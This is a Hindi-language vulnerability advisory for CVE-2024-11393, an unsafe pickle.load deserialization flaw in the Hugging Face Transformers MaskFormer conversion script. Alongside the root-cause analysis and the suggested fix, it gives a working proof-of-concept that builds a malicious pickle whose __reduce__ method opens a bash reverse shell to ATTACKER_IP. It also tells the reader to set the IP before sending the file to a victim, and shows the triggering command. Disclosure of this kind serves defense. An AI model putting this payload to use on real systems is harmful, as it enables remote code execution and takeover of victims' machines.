
CVE-2024-11393 के लिए तकनीकी विवरण और शोषण
भेद्यता का उच्च-स्तरीय अवलोकन और प्रभाव:
यह भेद्यता हमलावर को होस्ट मशीन पर मनमाना कोड निष्पादित करने की अनुमति देती है, जब वह Hugging Face Transformers रिपॉजिटरी में convert_maskformer_swin_to_pytorch.py स्क्रिप्ट को एक दुर्भावनापूर्ण maskformer resnet चेकपॉइंट फ़ाइल प्रदान करता है।
यदि कोई अनजान उपयोगकर्ता किसी तृतीय-पक्ष maskformer resnet चेकपॉइंट फ़ाइल का उपयोग करता है, तो convert_maskformer_swin_to_pytorch.py स्क्रिप्ट को निष्पादित करने पर पीड़ित के सिस्टम पर दूरस्थ कोड निष्पादन (RCE) हो जाएगा।
भेद्य उत्पाद
मूल कारण विश्लेषण
भेद्यता का विस्तृत विवरण: यह भेद्यता अविश्वसनीय डेटा के असुरक्षित डिसीरियलाइज़ेशन के कारण उत्पन्न होती है। स्क्रिप्ट चेकपॉइंट फ़ाइल को लोड करने के लिए pickle.load का उपयोग करती है और कोड निष्पादन के प्रति संवेदनशील है।
इनपुट से भेद्य स्थिति तक कोड प्रवाह:
maskformer मॉडल डाउनलोड करता है।convert_maskformer_swin_to_pytorch.py स्क्रिप्ट चलाता है और उसे चेकपॉइंट फ़ाइल प्रदान करता है।convert_maskformer_swin_to_pytorch.py स्क्रिप्ट चेकपॉइंट फ़ाइल को डिसीरियलाइज़ करती है और दुर्भावनापूर्ण कोड निष्पादित करती है।इंजेक्शन बिंदु: भेद्यता उस स्थान पर होती है जहाँ pickle.load को कॉल किया जाता है।
GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
सुझाए गए सुधार: मनमाना कोड निष्पादन को रोकने के लिए pickle.load को yaml.safe_load(yaml_file) या json.load से बदलें।
प्रूफ-ऑफ-कॉन्सेप्ट निष्पादित करने के निर्देश:
malicious.pkl बनाएँ जो पीड़ित के सिस्टम पर एक रिवर्स शेल बनाएगी:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
नोट: फ़ाइल पीड़ित को भेजने से पहले ATTACKER_IP और ATTACKER_PORT बदलें।
convert_maskformer_swin_to_pytorch.py स्क्रिप्ट चलाएँ और malicious.pkl फ़ाइल को --checkpoint_path में पास करें:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
नोट:
pytorch_dump_folder_pathको किसी भी निर्देशिका पर सेट किया जा सकता है, औरmodel_nameकोई भी मॉडल हो सकता है।
सॉफ़्टवेयर डाउनलोड लिंक:
https://github.com/huggingface/transformers/tree/main